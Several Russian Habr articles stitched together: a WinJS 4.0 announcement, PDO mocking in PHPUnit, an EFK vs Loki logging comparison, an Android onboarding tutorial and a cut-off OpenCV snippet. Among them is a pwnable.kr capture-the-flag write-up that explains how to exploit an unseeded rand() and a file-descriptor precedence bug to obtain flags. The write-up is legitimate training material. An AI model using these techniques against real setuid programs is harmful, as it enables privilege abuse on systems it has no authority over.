if __name__ == "__main__":
main()
``` | https://habr.com/ru/post/211466/ | null | ru | null |
# Анонсирована превью-версия WinJS 4.0: универсальный UX, интеграция с AngularJS, обновленный ListView
Мы рады представить вам превью-версию Windows-библиотеки для JavaScript 4.0 (WinJS 4.0). В нашем предыдущем релизе (WinJS 3.0) мы фокусировались на том, чтобы обеспечить кросс-браузерную совместимость. С WinJS 4.0 мы начали добавлять новые возможности, чтобы библиотека продолжала быть хорошим фреймворком для разработки как Windows-приложений, так и приложений для веба.
Готовясь к этому релизу, мы ориентировались на отзывы сообщества и ваши дополнения, которые помогли нам сфокусироваться вокруг нескольких критичных направлений:
* **Универсальный опыт взаимодействия** – люди хотят, чтобы их приложения работали там же, где и они: на телефонах, планшетах, компьютерах и даже на телевизоре в комнате. Форм-фактор устройств постоянно развивается, чтобы лучше соответствовать потребностям человека: где-то это клавиатура, подключаемая к планшету, с тем, чтобы сделать работу более продуктивной, где-то это подключение телефона к телевизору, чтобы можно было откинуться назад на диване и исследовать контент, и так далее. Элементы управления WinJS облегчают создание отзывчивых приложений, которые не только могут работать на экранах разного размера, но и учитывать разные способы ввода. Мы хотим помочь вам заточить опыт взаимодействия под каждое устройство и форм-фактор, так чтобы вы могли сфокусироваться на создании самих приложений.
* **Отличное взаимодействие с другими** – WinJS спроектирован с прицелом на совместимость. Мы верим, что у вас должна быть возможность легко использовать вместе WinJS и ваши любимые фреймфорки на JS. Например, [WinJS-обертка для AngularJS](http://try.buildwinjs.com/#get:preview:angular-winjs) позволит вам прозрачно использовать WinJS в ваших проектах на AngularJS.
* **Мощный ListView – WinJS** должен поддерживать вашу разработку приложений, предоставляя лучшие элементы управления. Наша реализация ListView была существенно оптимизирована с точки зрения производительности и поддерживает широкий спектр сценариев. Мы добавили новые возможности, например, поддержку чередования стилей, заголовки и подвалы для списков и улучшенное выделение элементов.
Мы счастливы, поделиться с вами этой предварительной версией. Если у вас будут какие-либо сложности, пожалуйста, [отправьте нам запрос на включение](https://github.com/winjs/winjs/pulls) или [сообщите о проблеме](https://github.com/winjs/winjs/issues) через GitHub.
Вы можете [начать использовать превью WinJS 4.0 сегодня](http://try.buildwinjs.com/#get) через ваш любимый пакетный менеджер (Bower, npm или NuGet), ссылку на CDN, скачав Zip-архив с нашего сайта или [клонировав репозитарий](https://github.com/winjs/winjs/tree/release/4.0-preview) для сборки собственной копии на GitHub.
Далее в статье мы расскажем подробнее об фокусных областях, названных выше. Надеемся, вам тоже понравятся новые возможности WinJS 4.0.
Универсальный опыт взаимодействия
---------------------------------
Форм-факторы вычислительных устройств продолжают эволюционировать. Успешный опыт работы приложения в рамках современной экосистемы среди прочего включает:
1. Хорошую работу на любых размерах экрана
2. Поддержку всех способов ввода (клавиатура, мыши, сенсорный экран и т.д.)
Традиционно практика реализации отзывчивого веб-дизайна фокусируется на первой задаче. Мы уверены, что отличный отзывчивый дизайн также должен адресовать второй пункт. Универсальный дизайн элементов управления WinJS как раз предполагает этот второй шаг. В WinJS 4.0 мы добавили новые элементы управления, учитывающие текущий форм-фактор, а также сделали более адаптивными существующие элементы управления. WinJS остается совместимым со всеми способами ввода, работая полноценно с клавиатурой, мышью, сенсорным вводом и даже геймпадом (с нашей новой функциональностью XYFocus).
### Новые универсальные элементы управления
Обычно разработка приложения, адаптирующегося под размер экрана и форм-фактор, не является тривиальной задачей. По мере изменения размера экрана и соотношения сторон, приложение претерпевает ряд изменений как в общей композиции, так и в отдельных элементах управления. Все это требует специального кода. В WinJS 4.0 мы добавили ряд важных элементов управления, которые сокращают объем работы, для реализации подобного универсального опыта.
#### WinJS SplitView
Комбинированный вид (split-view) – это адаптивная композиция элементов, которая стала чем-то вроде индустриального стандарта. Мы описываем приложение с комбинированным представлением как приложение с навигационной панелью слева и основным контентом справа, как это изображено на скриншоте ниже. Как правило, эта навигационная панель может быть открыта или свернута по нажатию на некоторую кнопку наверху слева.
*Стандартная композиция универсального приложения, использующего SplitView, Toolbar и ListView*
Новый элемент управления WinJS SplitView позволяет вам быстро реализовать подобное поведение в приложении. Гибкость и возможности этого элемента позволят вашему приложению легко адаптироваться под текущий размер экрана, поддерживая таким образом телефоны, планшеты, компьютеры и все, что находится между ними. На скриншотах ниже вы увидите работу SplitView в разных режимах, с поддержкой трех разных диапазонов размеров экрана.
*SplitView в фиксированном режиме*
*SplitView в накладывающемся режиме*
*SplitView в ‘мобильной’ конфигурации*
Элемент управления SplitView – это мощный и эффективный способ для добавления универсальности в ваше приложения. Вы можете попробовать его в действии для меню и контента на сайте [try.buildwinjs.com](http://try.buildwinjs.com) и в [примере SplitView](http://try.buildwinjs.com/#splitview).
#### WinJS Toolbar
Другой сложный аспект создания универсального приложения – это командный интерфейс. В WinJS 4.0 мы добавили отзывчивую командную поверхность, названную ToolBar. ToolBar включает ряд отличных возможностей, что делает его уникально заточенным под разработку приложений для разных форм-факторов. Вы можете попробовать все эти возможности на [странице с примером](http://try.buildwinjs.com/#toolbar).
##### Масштабирование и перекрытие команд
WinJS ToolBar автоматически отображает корректное количество команд, соответствующее текущему размеру экрана. Это делается с использованием расстановки приоритетов скрытия команд (по умолчанию или на ваш выбор). Это позволяет добиться впечатляющей гибкости небольшими усилиями. Вы можете сами оценить это на [сайте с примером ToolBar](http://try.buildwinjs.com/#toolbar).
*Пример нового элемента управления WinJS ToolBar*
#### Content dialog
Прошли те дни, когда человек нажимая tab в вашем диалоге и попадали на случайный элемент в вашем приложении. В новом элементе управления WinJS Content Dialog нажатие табуляции просто переключает между доступными опциями, как это и должно быть. В дополнение, элемент управления адаптируется сам и позиционирует контент в соответствии с размером экрана. Также вы можете размещать внутри произвольный контент, что является приятной плюшкой.
[Поиграйтесь](http://try.buildwinjs.com/#contentdialog) с нашим новым элементом Content Dialog, чтобы оценить все самостоятельно.
#### XYFocus
Новая возможность XYFocus позволяет легко реализовать навигацию между конкретной группой HTML-элементов в четырех направлениях. Это особенно удобно с точки зрения поддержки модели ввода, типичной для геймпада. Данная возможность легко может быть спроецирована на любое подходящее сочетание клавиш, например, стрелки клавиатуры или клавиши w, a, s, d. Как вы догадались, это позволит вам упростить добавление поддержки геймпадов, требует минимальных усилий и доступно в превью WinJS 4.0. За демонстрацией проследуйте на [страницу с примером XYFocus](http://try.buildwinjs.com/#xyfocus).
#### Улучшение сенсорного управления для Pivot
Элемент управления Pivot в WinJS с самого начала реализовывал эффективную парадигму организации навигации в приложении, однако, продвинутые возможности управления им с помощью жестов были доступны только для Windows-приложений и в Internet Explorer. В релизе 4.0 элемент получит как обновления в визуальном стиле и, в частности, адаптивные заголовки, так и равноценную функциональность в разных браузерах. Попробовать самостоятельно можно на [странице с Pivot-примером](http://try.buildwinjs.com/#pivot).
Отличное взаимодействие с другими
---------------------------------
WinJS спроектирован так, чтобы прозрачно стыковаться с другими фреймворками. В прошлом это делалось можно было проследить через сделанные сообществом прослойки совместимости с такими популярными фреймворками, как [ReactJS](https://github.com/winjs/winjs/wiki/Using-WinJS-with-React) и [KnockoutJS](https://github.com/spankyj/knockout-winjs). Чтобы продемонстрировать возможность взаимодействия мы также разработали новую [WinJS-обвязку для AngularJS](http://try.buildwinjs.com/#get:preview:angular-winjs). Мы надеемся, что этот сценарий станет достаточно популярным по мере того, как больше пользователей Angular будут узнавать о возможностях библиотеки WnJS.
В рамках WinJS 4.0 ваши Angular-проекты с легкостью получают большой список новых возможностей. Давайте посмотрим, что позволяет делать наша обвязка чуть-чуть более детально.
### Элементы управления WinJS как директивы Angular
Angular предоставляет мощный способ расширения HTML путем создания собственный DOM-элементов, используя директивы. Обвязка Angular-WinJS выставляет элементы управления фреймворка WinJS через директивы, позволяя разработчикам использовать их так, как это принято в Angular.
```
```
*Рейтинговый элемент управления WinJS как директива Angular*
### Интеграция со связыванием данных из Angular
Angular предлагает мощный механизм двунаправленного связывания данных. Новые директивы для элементов управления WinJS, включенные в обвязку, позволяют использовать с ними привычные вам возможности связывания. Другими словами, новые директивы для WinJS прозрачно интегрируются в систему связывания из Angular. Если вы работаете с Angular, можно сказать, что вы только что получили новый набор элементов управления и функциональности из WinJS.
```
Rating: {{rating}}
```
```
angular.module('sample', ['winjs']).controller("sampleController", function ($scope) {
$scope.rating = 3;
});
```
Мощный ListView
---------------
ListView – это знаковый элемент управления для WinJS. Мы всегда гордились возможностью представить виртуализированное представление контента со встроенной поддержкой управления с клавиатурой, отличной производительностью, гибкой стилизацией и большими возможностями настройки взаимодействия. В версии 4.0 мы упростили работу с доступными опциями взаимодействия, а также добавили возможности, о которых просили разработчики.
### Обновления ListView
#### Упрощение модели выбора
Оптимизация как для работы мышью, так и для сенсорного управления было ключевой составляющей ListView с самого создания WinJS. По мере того, как многие пальцевые жесты стандартизировались в индустрии мы внесли в модель взаимодействия ListView некоторые изменения. Одним из таких изменений был переход к нажатию и удержанию для переноса элементов (drag-n-drop) в WinJS 2.0.
В версии WinJS 4.0 мы еще раз упрощаем и улучшаем модель взаимодействия в ListView. Новый набор режимов описан ниже, они концептуально проще и включают новый набор отображений выделения.
#### Сценарии выбора
**Только чтение (Read only):**
Полное отключение выделения
**Единичный выбор (Single):**
Пользователи выбирают из группы взаимоисключающих вариантов
**Множественный выбор (Multi):**
Пользователи выбирают один или несколько элементов из группы вариантов
**Расширенный выбор (Extended):**
Способ, знакомый продвинутым пользователям при работе с клавиатурой; в режиме работы только пальцами или только с мышкой без клавиш-модификаторов, он ведет себя как единичный выбор, описанный выше. Клавиши Shift и Ctrl позволяют осуществлять множественный выбор, используя клавиши стрелок или мышь.
Чтобы достичь подобного дизайна, мы убрали свойство swipeBehavior. Это означает, что жест «проведи для выбора», также как и «правый клик для выбора» более не поддерживаются в ListView. Это существенно упрощает работу с режимами выбора ListView.
#### Новый вариант отображения выбора в ListView
Попробовать в работе можно в [примере ListView](http://try.buildwinjs.com/#listviewinteractions:selection).
#### Чередование
Нас часто спрашивали, есть ли простой способ добавить элементам ListView нужный стиль в зависимости от четности или нечетности элемента. Это позволяет улучшить считываемость элементов и может в целом использоваться из эстетических соображений. Теперь это можно легко сделать с помощью классов “win-container-ever” и “win-container-add”. Использование данных классов делает реализацию этой нетривиальной задачи сильно проще.
#### Прогрессивная загрузка с новым подвалом ListView
Общая парадигма, встречающаяся при виртуализации контента, — это возможность для списка элементов автоматически загружать дополнительный контент, когда пользователь оказывается близко к концу списка. Это уменьшает нагрузку при использовании и сокращает время загрузки больших объемов данных. Часто такой подход используется при работе с новостными потоками, списками, отсортированными по релевантности, поисковыми результатами и т.п.
С самого появления WinJS мы спорили внутри о наилучшей реализации этого шаблона. С добавлением возможностей работы с заголовками и подвалами он стал еще проще в реализации.
Пример с прогрессивной загрузкой [доступен на нашем сайте](http://try.buildwinjs.com/#listviewinteractions:progressiveloading).
Двигаясь дальше
---------------
Члены команды проекта WinJS передают искренние благодарности за вашу поддержку и отзывы, которые мы получаем через сообщество GitHub.
Полный релиз WinJS 4.0 будет доступен [позже в этом году](https://github.com/winjs/winjs/wiki/Roadmap). Мы смотрим в будущее с идеей развития WinJS как прекрасной открытой библиотеки на JavaScript, удовлетворяющей потребностям веб-разработчикам повсюду. Пожалуйста, [отправляйте нам свои запросы на включения](https://github.com/winjs/winjs/pulls) и [сообщайте о сложностях](https://github.com/winjs/winjs/issues) через GitHub. Давайте сделаем 4.0 лучше вместе. | https://habr.com/ru/post/255571/ | null | ru | null |
# PDO: сериализация, поздняя инициализация и PHPUnit
Здравствуйте. Как известно, [PDO не поддерживает сериализацию](http://www.google.ru/search?aq=f&sourceid=chrome&ie=UTF-8&q=You+cannot+serialize+or+unserialize+PDO). С этим связано несколько интересных вещей, в частности сюрпризы с [трейсами](http://fabien.potencier.org/article/9/php-serialization-stack-traces-and-exceptions) и невозможность сделать [mock от PDO в PHPUnit](http://stackoverflow.com/questions/3138946/mocking-the-pdo-object-using-phpunit).
Я активно использую PHPUnit и реализуя в очередной раз паттерн Dependency Injection столкнулся с описанными трудностями создания Mock-объекта от PDO.
Вот чего хотелось добиться:
> `class MyTest
>
> extends \PHPUnit\_Framework\_TestCase
>
> {
>
> ...
>
> protected function setUp()
>
> {
>
> $this->pdo = $this->getMock('PDO');
>
> $this->myObject = new MyClass($this->pdo);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В качестве решения был написан класс [LazyPDO](https://github.com/f3ath/LazyPDO/), наследник PDO, который можно безболезненно мокать и (де)сериализовать, при чем он сохраняет набор атрибутов соединения, независимо от того, были они переданы в конструктор или в setAttribute(). Код выложен на [GitHub](https://github.com/f3ath/LazyPDO/).
Буду рад критике. | https://habr.com/ru/post/120661/ | null | ru | null |
# Логирование в Kubernetes: EFK против PLG
Мониторинг стал весьма важным компонентом растущих облачных решений с ростом сложности распределенных систем. Он необходим для понимания их поведения. Нужны масштабируемые инструменты, которые смогут собрать данные со всех сервисов — и предоставить специалистам единый интерфейс с анализом производительности, демонстрацией ошибок, доступностью и журналами.
Эти же инструменты должны быть эффективными и производительными. В этой статье мы рассмотрим два популярных стека технологий: EFK (Elasticsearch) и PLG (Loki) и разберём их архитектуры и различия.
Стек EFK
--------
Возможно, вы уже слышали о весьма популярном ELK или EFK. Стек состоит из нескольких отдельных частей: Elasticsearch (объектное хранилище), Logstash или FluentD (сбор и агрегация журналов) и Kibana для визуализации.
Типичная схема работы выглядит так:
**Elasticsearch** — распределенное объектное хранилище с поиском и аналитикой в реальном времени. Превосходное решение для частично структурированных данных, например журналов. Информация сохраняется в виде документов JSON, индексируется в режиме реального времени и распределяется по узлам кластера. Применяется инвертированный индекс, содержащий все уникальные слова и связанные с ними документы для полнотекствого поиска, который в свою очередь основан на поисковом движке Apache Lucene.
**FluentD** — это сборщик данных, выполняющий унификацию данных при их сборе и потреблении. Он старается упорядочить данные в JSON насколько это возможно. Его архитектура расширяема, существует более [сотни различных расширений](https://www.fluentd.org/plugins/all), поддерживаемых сообществом, на все случаи жизни.
**Kibana** — средство визуализации данных для Elasticsearch с различными дополнительными возможностями, например, анализом временных рядов, графов, машинным обучением и прочим.
### Архитектура Elasticsearch
Данные кластера Elasticsearch хранятся размазанными по всем его узлам. Кластер состоит из нескольких узлов для улучшения доступности и устойчивости. Любой узел может выполнять все роли кластера, но в крупных масштабируемых развертываниях узлам обычно назначают отдельные задачи.
Типы узлов кластера:
* мaster node — управляет кластером, нужно минимум три, одна активна всегда;
* data node — хранит индексированные данные и осуществляет с ними разные задачи;
* ingest node — организует конвейеры для преобразования данных перед индексацией;
* coordinating node — маршрутизация запросов, сокращение фазы обработки поиска, координация массовой индексации;
* alerting node — запуск задач по оповещению;
* machine learning node — обработка задач машинного обучения.
На диаграмме ниже показано, как данные сохраняются и реплицируются по узлам для достижения более высокой доступности данных.
Данные каждой реплики хранятся в инвертированном индексе, схема ниже показывает, как это происходит:
### Установка
Детали можно посмотреть [здесь](https://www.digitalocean.com/community/tutorials/how-to-set-up-an-elasticsearch-fluentd-and-kibana-efk-logging-stack-on-kubernetes), я буду использовать helm chart:
```
$ helm install efk-stack stable/elastic-stack --set logstash.enabled=false --set fluentd.enabled=true --set fluentd-elasticsearch.enabled=true
```
Стек PLG
--------
Не стоит удивляться, если не можете найти этот акроним, ведь его больше знают как Grafana Loki. В любом случае этот стек набирает популярность, поскольку применяет выверенные технические решения. Вы, возможно, уже слышали о Grafana, популярном инструменте для визуализации. Её создатели, вдохновляясь Prometheus, разработали Loki, горизонтально масштабируемую высокопроизводительную систему агрегации журналов. Loki индексирует только метаданные, но не сами журналы, это техническое решение позволило ему стать простым в эксплуатации и экономически выгодным.
**Promtail** — агент для отправки журналов из операционной системы в кластер Loki. **Grafana** — инструмент визуализации на основе данных из Loki.
Loki построен на тех же принципах, что и Prometheus, поэтому он хорошо подходит для хранения и анализа журналов Kubernetes.
### Архитектура Loki
Loki может быть запущен как в режиме одного процесса, так и в виде нескольких процессов, что обеспечивает горизонтальное масштабирование.
Также он может работать, как в виде монолитного приложения, так и в виде микросервиса. Запуск в виде одного процесса может пригодиться для локальной разработки или же для мелкого мониторинга. Для промышленного внедрения и масштабируемой нагрузки рекомендуется применять микросервисный вариант. Пути записи и чтения данных разделены, так что его можно достаточно тонко настроить и масштабировать по необходимости.
Давайте посмотрим на архитектуру системы сбора журналов без детализации:
А здесь — описание (микросервисная архитектура):
Составные части:
**Promtail** — агент, устанавливаемый на узлы (в виде набора сервисов), он снимает журналы из задач и обращается к API Kubernetes для получения метаданных, которыми будут помечены журналы. Затем он отправляет журнал к основному сервису Loki. Для сопоставления метаданных поддерживаются те же правила для маркировки, что и в Prometheus.
**Distributor** — сервис-распределитель, работающий как буфер. Для обработки миллионов записей он производит упаковку входящих данных, сжимая их блоками по мере их поступления. Одновременно работает несколько приемников данных, но журналы, принадлежащие одному потоку входящих данных должны оказаться только в одном из них для всех его блоков. Это организовано в виде кольца приемников и последовательного хэширования. Для отказоустойчивости и избыточности оно делается n раз (3, если не настраивать).
**Ingester** — сервис-приемник. Блоки данных приходят сжатыми с добавленными журналами. Как только блок оказывается достаточного размера, производится сброс блока в базу данных. Метаданные идут в индекс, а данные от блока с журналом попадают в Chunks (обычно это объектное хранилище). После сброса приемник создает новый блок, куда будут добавляться новые записи.
**Index** — база данных, DynamoDB, Cassandra, Google BigTable и прочее.
**Chunks** — блоки журналов в сжатом виде, обычно хранятся в объектном хранилище, например, S3.
**Querier** — путь чтения, делающий всю черную работу. Он смотрит диапазон времени и метки, после чего смотрит индекс для поиска совпадений. Далее читает блоки данных и фильтрует их для получения результата.
А теперь давайте посмотрим все в работе.
### Установка
Для установки в Kubernetes проще всего воспользоваться helm. Полагаем, что вы уже его поставили и настроили ([и третьей версии!](https://habr.com/ru/company/southbridge/blog/507656/) *прим. переводчика*)
Добавляем репозиторий и ставим стек.
```
$ helm repo add loki https://grafana.github.io/loki/charts
$ helm repo update
$ helm upgrade --install loki loki/loki-stack --set grafana.enabled=true,prometheus.enabled=true,prometheus.alertmanager.persistentVolume.enabled=false,prometheus.server.persistentVolume.enabled=false
```
Ниже приведен пример панели инструментов, на которой показаны данные из Prometheus для метрик Etcd и Loki для журналов подов Etcd.
А теперь давайте обсудим архитектуру обеих систем, а также сравним их возможности между собой.
Сравнение
---------
### Язык запросов
В Elasticsearch используется Query DSL и Lucene query language, которые обеспечивают возможность полнотекстового поиска. Это устоявшийся мощный поисковой движок с широкой поддержкой операторов. С его помощью можно искать по контексту и сортировать по релевантности.
На другой стороне ринга — LogQL, применяемый в Loki, наследник PromQL (Prometheus query language). Он использует метки журналов для фильтрации и выборки данных журналов. Есть возможность использовать некоторые операторы и арифметику, как описано [здесь](https://github.com/grafana/loki/blob/master/docs/logql.md), но по возможностям он отстает от Elastic language.
Поскольку запросы в Loki связаны с метками — их легко соотнести с метриками, в результате с ними проще организовать оперативный мониторинг.
### Масштабируемость
Оба стека горизонтально масштабируемы, но с Loki это проще, поскольку у него разделены пути чтения и записи данных, а также у него микросервисная архитектура. Loki может быть настроен под ваши особенности и может быть использован под очень большие объемы данных журналов.
### Мультиарендность
Мультиарендность кластера — общая тема для сокращения OPEX, оба стека обеспечивают мультиарендность. Для Elasticsearch есть несколько [способов](https://www.elastic.co/blog/found-multi-tenancy) разделения клиентов: отдельный индекс каждому клиенту, маршрутизация на основе клиента, уникальные поля клиента, поисковые фильтры. В Loki есть [поддержка](https://github.com/grafana/loki/blob/master/docs/operations/multi-tenancy.md) в виде заголовка HTTP X-Scope-OrgID.
### Стоимость
Loki весьма эффективен экономически из-за того, что он не делает индексацию данных, а только метаданных. Таким образом достигается [экономия на хранилище](https://grafana.com/blog/2020/02/19/how-loki-reduces-log-storage/) и памяти (кэше), поскольку объектное хранилище дешевле блочного, которое используется в кластерах Elasticsearch.
Заключение
----------
Стек EFK может использоваться для различных целей, обеспечивая максимальную гибкость и многофункциональный интерфейс Kibana для аналитики, визуализации и запросов. Он дополнительно может быть улучшен возможностями машинного обучения.
Стек Loki полезен в экосистеме Kubernetes из-за механизма обнаружения метаданных. Можно легко сопоставить данные для мониторинга на основе временных рядов в Grafana и журналах.
Когда речь идет о стоимости и длительном хранении журналов, Loki является отличным выбором для входа в облачные решения.
На рынке есть больше альтернатив — некоторые могут быть лучше для вас. Например, для GKE есть интеграция Stackdriver, которая обеспечивает отличное решение для мониторинга. Мы не включили их в наш анализ в этой статье.
Ссылки:
* <https://github.com/grafana/loki/blob/master/docs/overview/comparisons.md>
* <https://www.elastic.co/blog/found-elasticsearch-from-the-bottom-up>
* <https://www.elastic.co/blog/found-elasticsearch-in-production/>
*Статья переведена и подготовлена для Хабра сотрудниками [обучающего центра Слёрм](http://to.slurm.io/7x-vEQ) — интенсивы, видеокурсы и корпоративное обучение от практикующих специалистов (Kubernetes, DevOps, Docker, Ansible, Ceph, SRE, Agile)* | https://habr.com/ru/post/510822/ | null | ru | null |
# Решение задания с pwnable.kr 06 — random и 09 — mistake
В данной статье узнаем как перехватить данные, передаваемые между библиотечной функцией и программой, вспомним про файловые дескрипторы и решим 6-е и 9-е задания c сайта pwnable.kr.
**Организационная информация**Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
* PWN;
* криптография (Crypto);
* cетевые технологии (Network);
* реверс (Reverse Engineering);
* стеганография (Stegano);
* поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Решение задания random
----------------------
Нажимаем на иконку с подписью random, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соотвтствующий баннер.
Давайте узнаем какие файлы есть на сервере, а также какие мы имеем права.
```
ls -l
```
Таким образом мы можем прочитать исходный код программы, так как есть право читать для всех, и выполнить с правами владельца программу random (установлен sticky-бит). Давай просмотрим исход код.
Программа генерирует случайное число, применяет операцию XOR (исключающее ИЛИ), и если результат операции XOR равен эталонному значению, выводит флаг.
Дело в том, что в данной программе используется функция rand(). Данная функция генерирует псевдослучайное число, преобразуя “зерно”, сгенерированное функцией srand(). Функция srand(number) должна вызываться каждый раз перед вызовом rand(). Если такого не происходит, то по умолчанию перед rand() срабатывает srand(1).
Таким образом, в данной программе генератор псевдослучайного числа каждый раз преобразует по одному и тому же алгоритму одно и то же “зерно”. Нам нужно узнать число, которое возвращает функция rand(), и проксорить с эталонным значением. Так как операция XOR обратима, то подавая на вход программе полученной значение, мы получим флаг.
Давайте перехватим данные между библиотечной функцией rand() и нашей программой. Для этого используем утилиту ltrace.
```
ltrace ./random
```
Мы видим с какими параметрами вызывается функция rand() и какое значение она возвращает. Теперь проксорим это значение с эталонным.
Подадим полученное число на вход нашей программе.
Сдаем флаг и получаем одно очко за такое легкое задание.
Решение задания mistake
-----------------------
Нажимаем на иконку с подписью mistake, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соотвтствующий баннер.
Давайте узнаем какие файлы есть на сервере, а также какие мы имеем права.
```
ls -l
```
Таким образом мы можем можем прочитать исходный код программы, так как есть право читать для всех, и выполнить с правами владельца программу mistake (установлен sticky-бит). Давай просмотрим исход код.
В самом начале программы открывается файл и создается дескриптор. Про файловые дескрипторы я уже подробно писал в [ЭТОЙ](https://habr.com/ru/post/458346/) статье. Но дело в том, что в условии допущена ошибка. Таким образом сначала выполнится сравнение, результатом которого будет ложь, а потом уже присвоение этого ложного результата (т.е. 0) переменной fd.
Далее вызывается функция sleep и без предложения ввода в переменную pw\_buf читаются данные. Но из-за ошибки в условии, они читаются не из открытого файла с паролем, а из стандартного ввода (дескриптор 0).
Далее мы вводим 10 символов, которые посимвольно ксорятся с 1 и сравниваются с паролем.
Таким образом, мы вводим две строки, символы которых результатом XOR операции должны дать 1. Найдем два символа, если проксорить которые, получим 1.
Это символы A и @. Теперь введем в программу две строки, одна из 10 символов ‘A’, а другая — ‘@’.
Сдаем флаг и получаем еще одно очко.
До встречи в следующих статьях!
Мы в телеграм канале: [канал в Telegram](https://t.me/RalfHackerChannel). | https://habr.com/ru/post/460527/ | null | ru | null |
# Реализация «Onboarding Experience» в вашем приложении
Привет всем постояльцам хабра!
В этой статье хотел бы рассказать о внедрении «Onboarding Experience» в приложение, над которым вы работаете или собираетесь работать.
«Onboarding Experience» — это небольшая презентация внутри приложения, которая показывает о возможностях вашего приложения в виде такого себе слайд-шоу. Такую практику демонстрации функционала приложения применяют многие компании, такие как, например Google.
Пример «Onboarding Experience» в приложении Google Drive:
Также, «Onboarding Experience» называется «App Intro» или «Product Tour». Вы можете называть это как хотите, ведь суть его не меняется.
Итак, моя история о внедрении данной фичи началась после того, как один из заказчиков мобильного приложения попросил реализовать такую вещь, ведь ему очень понравилось, как это выглядит в других приложениях.Скажу сразу, в его приложении я еще не внедрил App Intro, но уже разобрался как это сделать быстро и безболезненно.
Я начал искать библиотеку на GitHub, подразумевая, что кто-то точно такое реализовывал и сделал нечто подобное и мне нужно в несколько кликов поменять графику, добавить несколько слайдов и просто немного подшаманить под свои требования.
Потратив не так много времени, как я и ожидал — я нашел, то что мне нужно [здесь](https://github.com/PaoloRotolo/AppIntro).
Почитав, немного «about» я нашел самый оптимальный вариант реализации этой библиотеки. Вы можете углубиться и настроить все под свои нужды. Например, вы можете использовать данную библиотеку с Fragments или просто с Activity, изменить вид анимации, установить вибрацию при свайпе и многое другое. Я же расскажу и покажу самый минимальный вариант реализации.
*Итак, реализацию выделю в семь пунктов, для удобной и понятной читабельности, а также главные аспекты выделю жирным шрифтом:*
1) **Добавляем в build.grade** (низшего уровня) своего проекта зависимости:
`repositories {
mavenCentral()
}
dependencies {
compile 'com.github.paolorotolo:appintro:3.3.0'
}`
2) Создаем фрагмент **SampleSlide.java**:
```
public class SampleSlide extends Fragment {
private static final String ARG_LAYOUT_RES_ID = "layoutResId";
public static SampleSlide newInstance(int layoutResId) {
SampleSlide sampleSlide = new SampleSlide();
Bundle args = new Bundle();
args.putInt(ARG_LAYOUT_RES_ID, layoutResId);
sampleSlide.setArguments(args);
return sampleSlide;
}
private int layoutResId;
public SampleSlide() {}
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if(getArguments() != null && getArguments().containsKey(ARG_LAYOUT_RES_ID))
layoutResId = getArguments().getInt(ARG_LAYOUT_RES_ID);
}
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
return inflater.inflate(layoutResId, container, false);
}
}
```
3) Создаем класс **CustomIntro.java**:
```
public class CustomIntro extends AppIntro2 {
@Override
public void init(Bundle savedInstanceState) {
// Здесь указываем количество слайдов, например нам нужно 3
addSlide(SampleSlide.newInstance(R.layout.intro_1)); //
addSlide(SampleSlide.newInstance(R.layout.intro_2));
addSlide(SampleSlide.newInstance(R.layout.intro_3));
}
private void loadMainActivity(){
Intent intent = new Intent(this, MainActivity.class);
startActivity(intent);
}
@Override
public void onNextPressed() {
// Do something here
}
@Override
public void onDonePressed() {
finish();
}
@Override
public void onSlideChanged() {
// Do something here
}
}
```
4) **В папке layout создаем сколько нужно лейаутов** для Intro (если три, то intro\_1.xml, intro\_2.xml, intro\_3.xml)
Где и что менять для разных layout думаю разберетесь сами, я дал пример одного из intro.xml
```
xml version="1.0" encoding="utf-8"?
```
5) **В MainActivity.java пишем следующий код в методе OnCreate** для отображения Intro один раз при первом запуске. Делаем это при помощи «thread»:
```
// Declare a new thread to do a preference check
Thread t = new Thread(new Runnable() {
@Override
public void run() {
SharedPreferences getPrefs = PreferenceManager
.getDefaultSharedPreferences(getBaseContext());
boolean isFirstStart = getPrefs.getBoolean(FIRST_START, true);
if (isFirstStart) {
Intent i = new Intent(MainActivity.this, CustomIntro.class);
startActivity(i);
SharedPreferences.Editor e = getPrefs.edit();
e.putBoolean(FIRST_START, false);
e.apply();
}
}
});
// Start the thread
t.start();
}
```
5) **В Manifest декларируем наше Activity**:
```
```
6) **В styles.xml не забываем сделать свою кастомную тему** для отображения Intro в полный экран без Toolbar:
```
<!-- Customize your theme here. -->
<item name="colorPrimary">@color/colorPrimary</item>
<item name="colorPrimaryDark">@color/colorPrimaryDark</item>
<item name="colorAccent">@color/colorAccent</item>
<item name="android:windowTranslucentStatus">true</item>
```
7) И самое последнее действие, **в папку drawable кладем те изображения, которые будут использоваться на экранах**.
Здесь можно поэкспериментировать, например, с векторной графикой или сделать ее более изящной, как делает Google. Я положил обычные .png файлы с разрешением 256x256.
Вот что получилось у меня:
P.S. Надеюсь, данная статья будет вам полезна. В ней я не преследовал никаких личных целей. Просто постарался изложить то, что сам понял, поработав с хорошей библиотекой. | https://habr.com/ru/post/273893/ | null | ru | null |
# OpenCV. Вывод видео
Сегодня я вам покажу как вывести видео в нашем приложении при помощи OpenCV. Это так же легко, как и работа с изображением. Помимо прошлых действий нам потребуется сделать цикл, для чтения каждого кадра видео, так же нам потребуется команда, по который мы сможем выйти из этого цикла, если видео покажется слишком скучным.=)
Приступим!
`#include “highgui.h”
int main( int argc, char** argv )
{
cvNamedWindow( “AVI Video”, CV_WINDOW_AUTOSIZE );
CvCapture* capture = cvCreateFileCapture( argv[1] );
IplImage* frame;
while(1)
{
frame = cvQueryFrame( capture );
if( !frame ) break;
